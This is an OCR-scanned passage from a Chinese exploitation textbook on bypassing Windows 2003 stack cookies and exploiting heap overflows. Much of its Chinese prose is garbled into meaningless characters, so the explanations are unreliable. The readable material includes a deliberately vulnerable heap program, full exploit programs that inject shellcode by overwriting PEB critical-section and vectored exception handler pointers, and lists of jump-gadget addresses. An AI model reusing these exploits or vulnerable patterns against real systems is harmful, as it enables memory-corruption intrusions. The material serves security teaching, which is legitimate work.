Servert ~MEFMIERL, MH, WKAAARELEHR -NELLWGRIERS, FHFaRAN
AR R KA EH A LA LR RN Eik, RS, RATLITHEFNRE, BERLE
SPih b, Rt ha@ et — s, WR LERANAAE - RERAL RBELRE,
BATEAAAEF ERIBRBMRICRHE, KIFOTUR AR, Elba LERE— T
IRAT: ABAT LS T A 09 AL FRAR PP 3 0 (R E A SERF AOStiS R (RGBT Ll
FHREIARE), S R R A RARLAL o

8.3.4 XTUSHWALERIEFHREIEE

B MRFTE S N RA BRI R MR, 20322 % 2H UMUK MDCOM TRemote-
Activetion ZRIHEKHE Y, MG RIS R M7 R B E W LB . KRE N
EXCEPTION_REGTSTRATIONA M B (1R v (X FF 4R M RAS W RE 5% . (9%, FIAEEDCOMIE
Hl, ¢EWindows 2003 Server b, AI¢EGEH X TFAAJR (K 1412BAL RIUX A4, 26 Windows XP LR
fi#1472B, Windows 2000_ L 2R 1540B. IXFHEMLERRIIRE —MEE I HRMERKNIB
ARARED o FRAIFTHE M T AR CAOD AR FRRR (R 7 SR M LR, e IAEZE LR it iR iR f
RY LT ’

8.4 #{R#15 Windows 2003 Server

Windows 2003 Server Xy B ff) £ R 4 L1 2 i B4k 2 ) ffy Visual C++ NETHEEM. Visual
C++ NETH PRI FITIF/csiRabn, & VR IRMIEE AN M BAERR RN
Security Cookie, BULARFRAFHIIEEIMSE, T ##Crispim Cowan StackGuardfj i # #8413 Security
Cookie#llcanary2${il. canary&I/EAR BLIN4BM (REXT), RAEEHBEMA B EHRERL,
FHEFERTRAE, BifkcookieMI B A B, K, HAMRPRAEMIEBMA AL
(EBR). KB R B - IR — A A HGR X Bes th, H 4, 3245 A Bl ik B i cookie
LR R AT USRS TR X A ] T, 85 7 B SRHRAT 3l FHL L Bk AT AR Gl
WREUMFD . A, KRR FRMIIR, (HERRTLI R TRAWS H AR
HIWETE, RARZ ARG T . R, XEARG YU SRR 2 R, (A ARRAR T
fige

IERATERABI SRR WUR], FHRIMBLET E M7k A cookie, THERE
PEARI, BN RE . B SR BEALYEARSR, BPMEAEAR I () 2 R A S SEBRH LY, 45
SR MPRA GEWER Y X AL T RCIBHLL TR 4 cookie L 72 o
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#include <stdio.h>
#include <windows.h>

int main()

{
FILETIME ft;
unsigned int Cookie=0;
unsigned int tmp=0;
unsigned int *ptr=0;
LARGE_INTEGER perfcount;
GetSystemTimeAsFileTime (&ft) ;
Cookie = ft.dwHighDateTime ~ ft.dwLowDateTime;
Cookie = Cookie * GetCurrentProcessId();
Cookie = Cookie * GetCurrentThreadId();
Cookie = Cookie * GetTickCount();
QueryPerformanceCounter (&perfcount) ;
ptr = (unsigned int)&perfcount;
tmp = *(ptr+l) * *ptr;
Cookie = Cookie * tmp;
printf (*Cookie: %.8X\n*,Cookie);
return 0;

)

B4, ¥ cetsystemTimeasFilerime . XA B ¥ M FILETTMELE I B AN AR A ——
dwHighDateTimeflawLowDateTime, X AMEMXORIZI . IE5 45 RAMBIDExOREN, RIFE
KRLRARID. FRYEJR 3h)5 I M E D M MXORIZS. (B Y HiGetTickCount RPLEIED.
J&, WfHoueryPerformanceCounter k18— /MR 64 MM I EF . ILIXASGALLII MBS BB
ANB2LIH XA BMXORZH, 311945 R AR 4 R M cookiexoRiZH . A MMLR
RS Hicookie, B RAFLEMAR AT . catalX BLE .

/GSARAEE R B G F BS T EHE R B R AL B NR VL, RERAE R4 TR L A1EC
RS T BL, (RBILE, BT MM AR B A SR IS, TR A I F] i )
Jio AIOENE A MRR AR, HOERALZIBW. IMEEERNFL: HHT
BB HREL: RS M R, SR IR NSRS .

GIBLE — AN AL, R — AT B GHOAE, PATRAEMLE 5 388 Bt . R
PSS RAE, —AEHEN L TR R XA FBER 00 WFX DU FERLE
DrhIX 25, MO KA R, Bk AT UK AR 1, AT SRR B4 B0
UET , REAIHEA AT M P DS

24 {8 JH HSecurity Cookielf, RULEMFLIE )G LA TEAR B Hcookie, BHAEAE SR
BRI —HE . XA cookicf) MR A RAEA ML AR MBRSCAF . dacaK B . AREM)
cookiedt ST HIFIECXAFFF 88, ARG . datalX B H MEIA AR . KR HERT—, RATH D LR
St 4 A BRAEA A0 F 2 B AL

fnRcookie RILHL, PUTR MR 2 0IERF, MRELLBRFCLEL, B



84 #&H4*L5 Windows 2003 Server 133

IR T R BERREF (R R AL 5 2 Mt FR BB B . aca K B . ISRXAMERH AR
NULL, EHEBIEAFFSR, KA. XEHEHS —. IRZELFRTFEAEL,
#5438 4% M unhand] edExceptionFilter (fI#4t #¢40x00000000, #A/5lunhandledrxcep-
tionFilterfi%{. UnhandledExceptionFiltert#MAUNL LR, EHATHH KEITEIFA
FHER BN B I T e

YR FIIDA ProfiF UnhandledExceptionFilter i BBIRM T &4t 4. ABE—T:
XA EBSEM#B faultrep. d11PE, AFHITfaultrep. d11fEE G HiffiReportFaul t B H.
XA R B fi A P b 3 3 47 55 3 H3 Tell-Microsoft-about-this-bug % I . i PCHHangRepExecPipe
FpCHFaul tRepExecPipefl 4 il ? Ui T#ifEReportraul e H/H .

BUERBIRAER M LR, BB A QBN LR S . IR
BRMKMNT. HR T EXB BRI HCHR.

#include <stdio.h>

#include <windows.h>

HANDLE hp=NULL;
int ReturnHostFromUrl(char **, char *);

int main()

char *ptr = NULL;
hp = HeapCreate (0,0x1000,0x10000) ;

ReturnHostFromUrl (&ptr, "http://www.ngssoftware.com/index.html*);
printf("Host is %s",ptr);
HeapFree (hp, 0,ptr) ;
return 0;

}

int ReturnHostFromUrl(char **buf, char *url)
int count = 0;
char *p = NULL;
char buffer(40]="";

// Get a pointer to the start of the host
p = strstr(url,"http://*);

if(ip)
return 0
p=p+ 7
// do processing on a local copy
strepy (buffer,p); // <------ NOTE 1

// £ind the first slash
while(buffer(count] t='/')
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count ++;
// set it to NULL
buffer(count] = 0;
// We now have in buffer the host name
// Make a copy of this on the heap
p = (char *)HeapAlloc(hp,0,strlen(buffer)+1);
if(1p)
return 0;
strcpy (p, buffer) ;
*buf = p; [/ <=-=mmm=----om NOTE 2
return 0;

)
AP ARINURLIE A 4 I EHL 44« JEReturnHostFromur) b 3R AT R AR P X 6
IR NOTE 1. B, MARFXARHWEY, SRACHNISH—
ARG EIRE I (char ), S—AREBATEBMROURLKRS . RIHEB—DBH
(char **) BOBIRIMRAFTES)AHE LI EHA FREH—wotE 2. W T MICHRE.

004011BC  mov ecx,dword ptr [ebp+8]
004012BF  mov edx,dword ptr [ebp-8]
004011C2  mov dword ptr [ecx],edx

#0x0040118CkE, fEAB—MBRULBIKH MHIHBE TECX, BTFX, £# Lign
FHA B BB BlEDx, REBBlecxdl @ MHht. X R RBAIFREIN BN B R R
J5o WRRE ARG, KX Teookie, MBI, HEREMEE I, REKRE
ARIBERRBAI B P83 UM R T I FR L

G B
cookie cookie
BRIFIMEBP ARAZ(MEBP
ARAF G [F] s RIEMIE L
HABH s 2
BB BB
R A

FE8-3 SR i /)5 P

DEPHXRE 25, Tli R R SRR B R . X, 290x004011BCARIH S AT *bust
= p WA, BRATRTOEEAER AL, BHHLTRVMEE . FXBIF A /E—Fr, W
RRATA 0x41414141 S EBP+8 AL 19 B HL, WEFLHGRAT RN HAE TN AN RS, BEH
0x41414141 R F CHIRIKIATE (WK, FTLASBAEK TR FHH, Ml AVERATES
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AL L EHLSISEE Z BT R (B, ERRATFES RV EHNE? A%
WEEFALMLEI RGBT METT, L, F “BEERAE" 2ELARE.

13t d A cookiedtt B 4R M BB, 4BEBURA (KicookielRAFTEBUR ST IF 1. datalX B B
B, SN T o T CAZERS S RRCARBRAR SO O ] s 3L T AR B IX A cookie (R R IKIAR A 1 7T
RERXAE). WRpf ER - MEmHE EHEHL KR, JFBRTUREREN, REWH, MK
BATRFIS, XA HHLR R, FRATHBEAIXA S | datalX B B AR A Mcookie,
I F FRE R S ARAFAERR LM cookie. FIXANH AR, MK Bcookield, EAIRE—H
#e BTEL, BATRAT LUSE cookich B, #HIMATIAR, FHRIEH MRS M X 8 HAHER Bl £
f sk«

T, LERFIL T, X RBIF MR WA ATRWE? 18, RATAEHaTRHAZAN
GErPX R S — RV, AT BRI IS G X, JF R X bl 2k B MR
gto KB, UREAEA, BATHRARIINR. (LXK, RIMKALEN cookieh T,
KRB RE AL, EE—T, WRREAHERFCLERENT, M#cookieh 7 KBS £ A
o EXMHRT, RHMERBIFRLT . LSBT0 RBIRH R cataRRE, B
S, BATAT DA E AR, 36T LU RS X S . BTLL HcookielEE RIMEY, “%
AR WAHAT, BATHRAEHIL .

TEBBAS R BT, SRR cookiehd 7 B4 A A FERE R KA E X
W, REERLHFNHLERFRNE, #Hi8MunhandledExceptionFilter. Hit, H¥E
WFZARFERBHAT, RATATLUAFTEAT - #1801, MunhandledExceptionFiltersf ¥ AR
JiGetSystemDirectoyw, /& Mik[Ef# 2 MAR faultrep.dll. fEUnicodeds HIITLIE, R
ATATABCS 1 ) RS H R 3R, XA —MERRITECK “RE” HROIREIFHEE
kernel32.d11f¥ .datalX B 8. B AT AN M 28 faultrep. a113R R R IEH) faultrep.
dll. faultrep.dllR#fiHiReportFaul ti¥, XA MK .

b, B —HATBE A G GXR A A USEAERRIBD LRI TREH . KEHMR
UnhandledExcept ionFilter i #¥ ffy B ¥ #H fl JF & 77 K M cookie fR 7. BLTE, MBI P
GetSystemDirectorywifi (55 2 S X i th i . Y H MR IT260BH), EREAT
A BEISEAR R FE X B R R AN o SRS BN KRR X, FLEGB B R
ke WIERMBEL, IE, EEHTR FXRENRARR T, RURARRNENX HHEH
WEIRE RS A RMIREL, BAKA TR B R M cookie R I MARFRM It . XFEHT
BUR, ATCLUREEFE ML, MTTHRAEEI. MiX R AR, GetSystemDirectory N5 E|
HBitio {HIFAR R UnhandledExceptionFilterfUIB RINHEAMM S, SUREBRRBE . #RATLA
HEER T,

RS RIRMAE (R, 7E Acookie BRTSZ 1, 1 SN BIERRS)
RETTREAFAE . BRI LN, XL HEHR. %L, BERREFRNHRLEIED]
XA R A R BADcoMMiR f) o XA BB R A — N B ¥ Rwchar + KB XBFRE
1 B HOR [ BB L H T 2 T, ACVRT R AR TR IR o X R 9 — B AR A 1
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RARRHEH, AR U RFHLIFH FUnicode UNCEE 2. BN M BRAIZ MK (1354
REIR ZRLHERIFIR, YR SMBEFFRIAMN, WERITOTRRR:

pop esp
add byte ptr(eax+eax+n],bl

AR T —FH . BAEAX+HEAX+AnAR TS, BT LR 3R WS 519 R xR .
HAEGEH K I TF R RATHF A RAFLUMEE T, FTLL LR EAT AR . B XHEA
RAHL, EATTERAATI

G, RAVEEIFT B F kT LG Security CookiesFINET GSETHRGLATER RS HLH.
HELSNFL BB SHER LI T, BAGEARE B H SR ERERA 5 2R R
AL BEARIHERS Bk 7 1952 R eI S R I, TS BERRAR b X s 1 T
B, 2R, XMRRE TSR, RITE M.

8.5 HELEMNXiHH

HEG PR X RIRZR I X — R T AR ) FIRE R 7R ™ I S AE BT U L IO 5 2 3
S TRERERAT 4. MRS, R RESDERIBNAFR . Bim, BBA 1 WebR% BT
RS BT W A RIS AT, B P SRR R . XK T 2208,
T AER20 000B. RS FEFF e 2 M HIXBMIEIR. B4, SHARERDHREHEK
KEERER, ENWASE . K, B EAREER K NSIES R M, SR
FAEFHR G, FIREMBIN AT, KA B) TRy Bty Rtk .

8.6 izt
Win32et b NIRRT — MIRIAME 0N A2 . W CE Getprocesstieap () HHE

[E1F5 R RO . ERRME R SR ET B ARMFEPEB E o T FICARARFRHHIEER [ B AR TN
EAXHFAF 88+

mov eax, dword ptr fs:[0x30]
mov eax, dword ptrleax+0x18]

Vi 5 B I HEEAT AL 2 1F Windows APIAERH, iR $CAR 18 A SR A MU EFS 4 o

8.6.1 miH
FEWIn32 T, fENBRA R, HRTUES -SSR RS, R
HeapCreate () B MBUARBNAHE, IXLHER LA

8.6.2 Lifiitsm

RRIEHARORAF B L, TBIEAEHE b ORISR AR ) . S REVRAD MR ARAE M b
R~ R RIS . 2 FlHeapAllocate () FBORMOKEE, ik WARFF 2 5 DIR2E
RO e AR —VIIER, HEATELAHE AKE L AN IR —HN A7, IR R S RO
o 2, WRRATULENMRSET . RRR, REEREEERBEAFREEART: EH
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REBEMTREMES . BNMGHEE LAETOTREE: EARROAIRMBEN L (FA
RIS MR T AT AR,

JRAEBE—4), BRATRIA $EEIFE/F FHeapallocate () FREGHK —Heif, 3ok, ATl
MR, T EA LI T AR R A . Winl6H BN — AN REABEE T 17
&R, 5—ARGNEE GBS, Wind2(iREZHENRY, Niocalalloc()
Globalalloc (). AT, Win32#HWinl6 LAFLK H: 7EWin32 b, IXELERHE L MR
W EAECERI . KR BAEASR EAlHeapal locate () & XA

h = HeapAllocate(GetProcessHeap(),0,size);

— EARRRAFAENE b (M 58 LAy, RGEHRR UK SO A2 1), 30 B M e 4«
FEBORE A F IR AMAC I A7 —#E47 5}, HeapFree. LocalfreeB{GlobalFree3(#m Ll MER

R RO
HRHEME LMY, WHIEMSDNIAS: h microsoft. ibrary aspourl=/
library y_ t_reference.asp.

8.6.3 MRMMIER
Wk, ARHHLF0x000000007 MK, TIHEMIR . XA X fHeapAllocate/s, B
SRR EOSE N BRI, S-SRI AT AT A T A B O
ARERNERIERYEIE, ENOIFRME NG, NGRS T 2548, b
1284 LTST_ENTRYSAL S5 RO Z R B, RATIEEF HFreeLists. HALIST_ENTRYH
Ak (winne RBAAXHR). ERGEHMB 0178 T AL, ATLURBUX MMM K. M5
QUK 1SR — AT W RO PIMR R IE fEFreeLists (0] . EX LGS
il GE—NATHRITTL) R AME I Freerists (01 MRH. T&, HRRMQER—
it 4 0x0035000093, H— Nl AL K 0x00350688, H4:
Q 7EHu4E0x00350178 (FreeList[0].Flink) AbJ—AM&El, FHAH%0x00350688 (35—
ANZEHYO:

O 7EHu4E0x0035017C (FreeList[0].Blink) AbJE— Mk, HAH0x00350688 (H5—
BRI

Q 7EHuAE0x00350688 (B MAFPRH) Ab A — Mk, HAHA0x00350178 (FreeList [0]);

O 7 i ik 0x0035068C (55 M AR +4) AR - ANdEE, R 0x00350178
(FreeList[0]),

WRSRFAZN (B, PARE1AL1ocateHeap i K260BMI 9 77), FreeList(0].Flink
HlFreeList (0] .BLinkiREH M EH, i F—AMTHRMZRk. [N, [lffiFreeListid
PSR BB BT 4 RCSR ISR BEATHEI R KRB, XA LB, TR
PRSR LA ARG IT SRS R B 2408 i X 0 1 S IR I, XS 1 1 S BT A Vi
BAERRIR T, Bk HL L i o o e 2 KR PP R bR AT 0 R BT ]
A Bl RS AL ] A AR R R BRI FE P I8 . B, o e A
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GV IR S R, (RIS IR B BT R AV R, B R AR
L. FERFMEULT, i 805 53 A AR e R S — 2

HEEREVIHBHIR, ¥
KPITHEE KR
BRI CRATERARTZAT, SeRNA— T XA E.
T ) 5 % M e B

#include <stdio.h>
#include <windows.h>

DWORD MyExceptionHandler (void);
int foo(char *buf);

int main(int arge, char *argv(])
{
HMODULE 1;
1=

LoadLibrary (*msvert.dll®);
1=

LoadLibrary (*netapi32.dll");

printf (*\n\nHeapoverflow program.\n");
if (arge

return printf ("ARGS!");
foo(argv(1]);
return 0;

DWORD MyExcept ionHandler (void)

{
printf("In exception handler....");
ExitProcess(1);
return 0;

}

int foo(char *buf)

HLOCAL hi = 0, h2 = 0;
HANDLE hp;

—try(

hp = HeapCreate(0,0x1000,0x10000) ;
if(thp)

return printf("Failed to create heap.\n");

hl = HeapAlloc (hp, HEAP_ZERO_MEMORY, 260) ;

printf ("HEAP: %.8X %.8X\n*,hl,&hl);

// Heap Overflow occurs here:
strepy (hl,buf) ;

// This second call to Heaphlloc() is when we gain control
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h2 = HeapAlloc (hp, HEAP_ZERO_MEMORY,260) ;
printf(*hello");

)

__except (MyExceptionHandler ()

{
printf("oops...");

}

return 0;

)

SERR ARBIRAER, HA MK ) ) Visual C+ 6.0 FEANEF, EFATFRACL /TC

heap.c.

ARG AL E FIRIF £oo () BB KIstrepy O WH . WIRbus 41112608 (HEIZHX
KA, REBEHEHIGH . BHLGHEE RN ERFreeLises AN, 7ERA AR
xR T ANEHSR AR SRR, R E X AR B MR
FMARE R, B TAMREBRE - Meg .

fEBRKHBY (Fi, 300B) LIXMEFE CHEBA fool ¥, RIFRERN), EH -
Wil fineapalioc () ZJ&, TFHKIHES SV FER:

77F6256F 89 01 mov. dword ptr [ecx],eax
77F62571 89 48 04 mov dword ptr [eax+4],ecx

JRAEFLE S R FlHeapal locht AR T V5 i %, {HiAineapFreeiiteapreallocdff
SR VISR . MRAAFecxMEA, RERAEMNZIEETHBLBFHNEH. RITHE
THRRIG R RS, Bk, WA Reapalloc )G, REHMEREILH, Bk, BRI
AR T XBA S M THEXFHSMT 4.

mov dword ptr [ecx],eax

X ROKAFEEAX O MR B BlecxdR b (bt [FIFE, ATUUES2MI MRS G (BRig kT
B MR I A2 MR . AT LR S SR R R . AT, R T. AF
AT .

mov dword ptr [eax+4],ecx

YRXFIHAPITIE, EAx GF4T LA TFRSEcxdf M) MEEBIERE TSR AT,
BEAARFECK R4, BLOHE S ANEAx+adf [ fHhE . A0 REAXB A TR AT B MNAE, HRE
Vi 3B, bR BRI A AR, Eal At A B S () ik eh SR T AT T A B
Tt 4 W A ) — SR 4 6 U R b 0 57 VA A ) A EE R () T 6 SRR A LI S
WitaeEs, MBRAERY, MOEEDECHRT. Kl DREAIFARATEHNE, R
RSN, NTHITRATOAT. BRI SKANTE, BENVEAXRIECXAIE, RZENHE
HEURTTRER B R T — SRR TI R AW . Bk, BRI, BOS5% SRR K
FRETTT R AW B 1) 7 ¥z o
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8.7 TR

RTBF, HHZQARMBIOTN, LI, MAIAERE X i R R, SR
X HEALARRT ; M1248, EARiHR? BROHREAREFHRET. XEfF
SRS AR B RS AR L FURE ALY, A BURIE R TR e B, L B2 Gk
X bfEfistrepy () lstrcat () ¥ ROVEME IS, EHSHOEEFRBAERY . 12
ATARBB BT 77 i o FEHERR T, FIFIWR % AR S 11 10 52 96 AL SRR PP (R ST R AR BT A R 77
W B, WA RSAEE SIS XEERRATRIXE (KVEREN), Tk
WA FEA
8.7.1 M5 PEB 2[5 Rt1EnterCriticalSection g4t

BAVHHTLPEB, WAAT ML . X EEIRPEBR B ARSI LT AL HHRIHER
RtlEnterCriticalSection() flRt1LeaveCriticalSection () fJ—Xf ¥4, Rl AELAF
8, ntdll.d11%iHi fRt1AccquirePebLock () IRt 1ReleasePebLock () F ¥# 51 X AN
#t. MExitProcess () AT EEAEAT AV FIX PN ¥ FFF, ATLARIFPEBREATAEG, 4551
RABFRIBHM . FWAERFL Y AMExitProcess, B, WMRFAXHNFELEERF,
RTINS SERNT, Eik, RAOTTUMSHPEBR MM, HRERHA
XA E AT WK EB S AW ? BN A MR A ) Windows NTx, 7N RESPIE R4 T4
Sil, PEBMIALEAREE N, FTUL, e MR bR A .

SEMR Windows 2003 R/ ik sk 4i4t, AR AT 8 AT,

FHkffIRt 1EntercriticalSection () MIFREH AT R BAF EERE, BMIXAMEEHENTE
0x7FFDF0204b. #RIf, FEMMRHERS A, AL Rox7FFDFOIC, BARNIZEMAEax+45]
M.

T1F62571 89 48 04 mov dword ptr [eax+4],ecx

ERABEN AR, ABEHENK, XEHE, RS, ARFFERTR-
process, MUAWAH T . JREWL, BRI Wk, MRORFEERFRIXMEH B
ATAOMEL, BN ILABROMETT T REE R BNXAMES, Bk, MR ZROXAERE: K, RATREER
EES, XERR T T 44

MR, FEMFRRUN, A MREERHIT, SEEAHA. OER T, AR
e RN, 45 AR 4 5% A PR F M Exi tProcess () & RAXFI . WRATREHART
53— P BB AR R 1 S R AT ARG, X 7E AL FE AT AT 1K) T Web I CGLHE RS t i 4
WA

T BARBIOR T AR RS BT RT3 o & REREAR A T 2 21 1 ARAG

#include <stdio.h>
#include <windows.h>
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unsigned int GetAddress(char *1ib, char *func);
void fixupaddresses(char *tmp, unsigned int x);

int main()

unsigned char buffer(300]
unsigned char heap(8]=
unsigned char pebf(8
unsigned char shellcode[200]=
unsigned int address_of_system = 0;

int address_of RtlEnterCriticalSection = 0;
unsigned char tmp(8]="";

unsigned int cnt = 0;

printf("Getting addresses...\n");
address_of_system

GetAddress ("msvert.dll”, "system”) ;
address_of_RtlEnterCriticalSection =
GetAddress ("ntdll.dll", *RtlEnterCriticalSection”);

if (address_of_system
address_of_RtlEnterCriticalSection

0)
return printf(*Failed to get addresses\n®);
printf (*Address of msvert.system\t\t\t:
%.8X\n",address_of_system) ;

printf ("Address of ntdll.RtlEnterCriticalSection\t=
%.8X\n", address_of RtlEnterCriticalSection);
strepy (buffer, *heapl *);

/1 shellcode - repairs the PEB then calls system("calc"); u

strcat (buffer, "\"\x90\x90\x90\x90\x01\x90\x90\x6A\x30\x59\x64 \xBB\X01\xBI* ) ;

fixupaddresses (tmp, address_of_RtlEnterCriticalSection);
strcat (buffer, tmp) ;

streat (buffer, " \x89\x48\x20\x33\xCO\X50\x681x63\x61\x6C\x63\x54 \x5B\X50\x53\xBI" ) ;
fixupaddresses (tmp, address_of_system) ;
strcat (buffer, tmp) ;
strcat (buffer, *\xFF\xD1") ;

// Padding

while(ent < 58)

{
strcat (buffer, *DDDD*) ;
ent +4;

// Pointer to RtlEnterCriticalSection pointer - 4 in PEB
strcat (buffer, "\x1C\XFO\XFD\x7£") ;
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/1 Pointer to heap and thus shellcode
streat (buffer, "\x88\x06\x35") ;

streat (buffer, "\*");
printf("\nExecuting heapl.exe... calc should open.\n");
system(buffer) ;

return 0;

unsigned int GetAddress(char *1ib, char *func)

HMODULE 1=NULL;
unsigned int x=0;
1 = LoadLibrary(lib);
if(11)

return 0;
X = GetProcAddress (1, func);
i (1x)

return 0;
return x;

}

void fixupaddresses(char *tmp, unsigned int x)
{
unsigned int a = 0;
a
a=a<<24;
a=a> 24;

xi

tmp(0)=a;
a = x;
a=a> 8;
a = a << 24;
a=a> 24 ;
tmp[1]=a;

a = x;

MBI B~ T, Windows 2003 Serveri® i 3 2646t . 4652 1, Windows 2003 ServeriPEB
R IE LA WO NOLL T o AR B, 0 FT BUEAT KM K i . % ExitProcess () B
UnhandledExceptionFilter () VARV Lar s, #MLarunloadpll (). ¥HLars
BB — A B R Bt o 2 BRI, 00 2% MR R M T i
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FERBL, FFRAREXEIE . BRI, WS AR .
Overwrite Pointer to First Vectored Handler at 77FC3210
FEWindows XP ¥ M4 Vectored S#HALEL. EABILLHINIR ¥ M EAPELER LIRESR
WM, Vectored S HAM AR LRGP R HIBAR . RIFXIBIRNLMALZRREIRE
EMEEAIRKAL.
struct _VECTORED_EXCEPTION_NODE
‘ dword  m_pNextNode;
dword m_pPreviousNode;
PVOID m_pfnVectoredHandler;
)
m_pNextNodeffi [i] ¥ —4*_VECTORED_EXCEPTION_NODE4#4, m_pPreviousNodef§ [l il 4
_VECTORED_EXCEPTION_NODE4#J, m_pfnVectoredifi St AR (R IHeht . IR R L5
#, #E0x77FC321 0T AR ILK A AIRY . I 15— Vectored 5% 1 A Hy IR EH BRI, SP
] eSS BOX AN AL ) o LREAR NS H i, BRATRT LUT 18 11 B C#fh_VECTORED_EXCEPTION_NODE
LIRS XA BARRIE AR, Vectored ¥ AL BEFLERTA ML BB X ATH

WA
MPRERY, FHEEORIY (ZEWinddows XP SP1 L) fi it MEEAL TR
TTFTF49E mov esi,dword ptr ds:[77FC3210h]
77F7F4A4 Jmp 77F7F4B4 .
77FTF4A6 lea eax, [ebp-8)
7TFTF4A9 push eax
TTFTF4AAA call dword ptr [esi+8]
77FTFAAD cmp eax, OFFh
77FTF4BO Jje TTF7PACC
T7FTF4B2 mov esi,dword ptr [esi]
7T1FTF4B4 cmp esi,edi
77FTF4B6 jne TTFTFAA6

X BARELE 4 1] 25— B4 A ) Vectored 4 FE AR ¥ ffl_VECTORED_EXCEPTION_NODE4: (1
B ElEsT, AT UAEST+83R A KpRM. ERMM RN, Widiox77rC32104L MFHEH BN TR
BRATET, AR NEHIAL.

IRELEAMOR? W, WA TR S RMERIIRE . RN REH IR
JRHAEL, HSAESIELE SRR BT R AR, IR REERMIEAN )T, BhER
4 R B B OB EAARIR s IUX A B i neapFree (), IBATREMES TR, GRIEANMREE
DB =ABRBIRAR) —ERBEMhE (o Box0012FF50), FBRERT LLARIX R
1#Im_pfnvectoredHandlexr{ 0x0012FF48 5 3 1 H ff)_VECTORED_EXCEPTION_NODEX: ] ) 1
Hbo P, R EBORRS, "7 LABox0012FFasE Rl AMRE, fox77FC320cHER T
FREVRA. LA RAT I
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77F6256F 89 01 mov
77F62571 89 48 04 mov

dword ptr [ecx],eax
dword ptr [eax+d],ecx

0x77FC320C (EAX) ## F]0x0012FF48 (ECX), 0x0012FF48 (ECX) HHB F0x77FC3210 (EAX+4).
R, RAFFE0x77FC3210/). #5412 (¥)_VECTORED_EXCEPTION NODE4SHIMIHEEHARMNIFTA .
IXPERE, MFHFERT, 0x0012FFas B BIESTH7EE (TEOX77FTFAOEALRITES), RIS, W
FHEST+8RFI MRS XN RMIHILA FRATER EARMERX, Fit, SRERMN, Hii
ARG #HE FHEAET:

#include <stdio.h>
#include <windows.h>

unsigned int GetAddress(char *lib, char *func);

void fixupaddresses(char *tmp, unsigned int x);

int main()

[{
unsigned char buffer[300]
unsigned char heap(8]=
unsigned char pebf(8]=
unsigned char shellcode[200]="";
unsigned int address_of_system = 0;
unsigned char tmp(8]="";
unsigned int cnt = 0;

printf ("Getting address of system...\n");
address_of_system = GetAddress("msvcrt.dll®,*system");
if (address_of_system == 0)

return printf(*Failed to get address.\n");

printf (*Address of msvert.system\t\t\t=$%.8X\n*, address_of_system);

strepy (buffer, *heapl *);

while(cnt < 5)
strcat (buffer, "\x90\x90\x90\x90" ) ;
ent ++;

}

// Shellcode to call system(*calc®);

streat (buffer, *\x90\x33\XCO\X50\x68\x63\x61\x6C\x63 \x54 \x5B\x50\x53\xB9" ) ;

fixupaddresses (tmp, address_of_system) ;
strcat (buffer, tmp) ;
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strcat (buffer, "\XFF\xD1*) ; ;

ent = 0;
while(cnt < 58)

streat (buffer, "DDDD" ) ;
ent +4;

// Pointer to 0x77FC3210 - 4. 0x77FC3210 holds
// the pointer to the first _VECTORED_EXCEPTION_NODE structure.
streat (buffer, "\x0C\x32\xFC\x77") ;

// Pointer to our pseudo _VECTORED_EXCEPTION_NODE
// structure at address Ox0012FF48. This address + &
// contains a pointer to our allocated buffer. This
/7 is what will be called when the vectored exception
// handling kicks in. Modify this according to where
// it can be found on your system

strcat (buffer, "\x48\x££\x12\x00*) ;

printf(*\nExecuting heapl.exe... calc should open.\n®);
system(buffer) ;
return 0;

unsigned int GetAddress(char *1ib, char *func)
{

HMODULE 1=NULL;

unsigned int x=0;

1 = LoadLibrary(1ib);

if(11)
return 0;
* = GetProcAddress (1, func) ;
if(1x)
return 0;
return x;

void fixupaddresses(char *tmp, unsigned int x)

unsigned int a = 0
a = x;
a=a <<24;
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a = a << 24;

}

872 MEHEERLESHEIEBOES

Halvar Flake?£20014EF S }745 /12447 #iBlackhat Security Briefings &l L ¥ X #23 T 4
FARKEFE S H L 9% (Unhandled Exception Filter). 3453 R4 J7 B4 AL FEFEIF ol YA I,
WH BT M ERRTR, RAFRS R B A BE AR RIT. BIF TR
FifflsetunhandledExceptionFilter () ¥ EXAM BT . FHEHZX A HREHHI

s
77ETESAL mov ecx,dword ptr [esp+d]
77ETESAS mov eax, [77ED7384)
77ETESAA mov dword ptr ds:[77ED73B4h],ecx
77ETESBO ret 4

T, SR RAL TR S U AR M HEHRAE(E0x77EDT3B4, %2 /D4E Windows XP SP1 LR IX#¥:
. ALK RS A RX AL, AT AR Ik, RIC4 HFR R % L Setunhandled-
ExceptionFilter () ¥ LAREIEHTIHIMH

B ANRGIEI S RER, RERAT T IR

77E93114 mov eax, [77ED73B4)
77E93119 cmp eax, esi
77E9311B je 77893132
77E9311D push edi

77E9311E call eax

R AL E 5N XL 4% 1 Bk BB BlEAx, MR MEAX. EWHZA, push eaiififfi
#% EEXCEPTION_POINTERSEMIMIHEN ARG . IO CAEIX — g1, RANAESE ik & A F)
e

HERS B, AR R AT AL TR, IR GR R AR AL TR N L i AL b T BN
s, WERE A TR RN L. W R DU A e 9k, T BB RO iR
T R B ks BRI RO R — N E — BRI AR AL, LR FIZE PR .
Ok fEVAIXAN G W4 2 BT, EDIBEE AR . IX 4K [ EXCEPTION  POINTERZ: # M) fi 4t .
FEt 2 G M 0x7 8 F WM A R —ANEGR M X W (ks M0 SERR b, AR ML TR AR
AR B X G5 R0 AT, &I AR EXCEPTION_POINTER% MM —i4, T LLWAF
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FHEDTIEFRATHKAT . RATFTERME —MERFE BT T 5152 MM bl

call dword ptr(edi+0x78] .

XUTRRA A, EKEF AL T R BIX 64, IR T M
ATWLEDLL, 44, EUIAT IR 8 R%RA TIA. %2 L Windwos XP SP1
it

call dword ptr(edi+0x74] found at 0x71c3de66 [netapi32.dll]
call dword ptrledi+0x74] found at 0x77c3bbad [netapi32.dll]
call dword ptr(edi+0x74] found at 0x77cdlel5 [netapid2.dll)
call dword ptr(edi+0x74] found at 0x77d92a34 [user32.dll]
call dword ptrledi+0x74] found at 0x7805136d (rpcrtd.dll)
call dword ptr[edi+0x74] found at 0x78051456 [rpcrtd.dll)

FERE Windows 2000.L, ESI+0xACHEBP+0x74#KEL4 T #54 # K #9484+,

WRARRA TSR RILIE BB E ETFIIRIAEL, 4, MERSABNIN R,
EFHSRBIAT, EROTTLMEVIGEX . ER T, SR MR EBRREN, 4
SMAREER RS . FIHAIER AV T B %,

AFH B, B LM A AR, PATAAL 2 PP P FInedl 1. a11 % 89KiUserExcep-
tionDispatcher ()« &% & 40, ik A 44 A H 4L 2. £ Windows XP |-, KiUserException-
Dispatcher () &-Fi/f #) % Vectored &t WAL, /6 A ML TAR, R AR AR RA iR
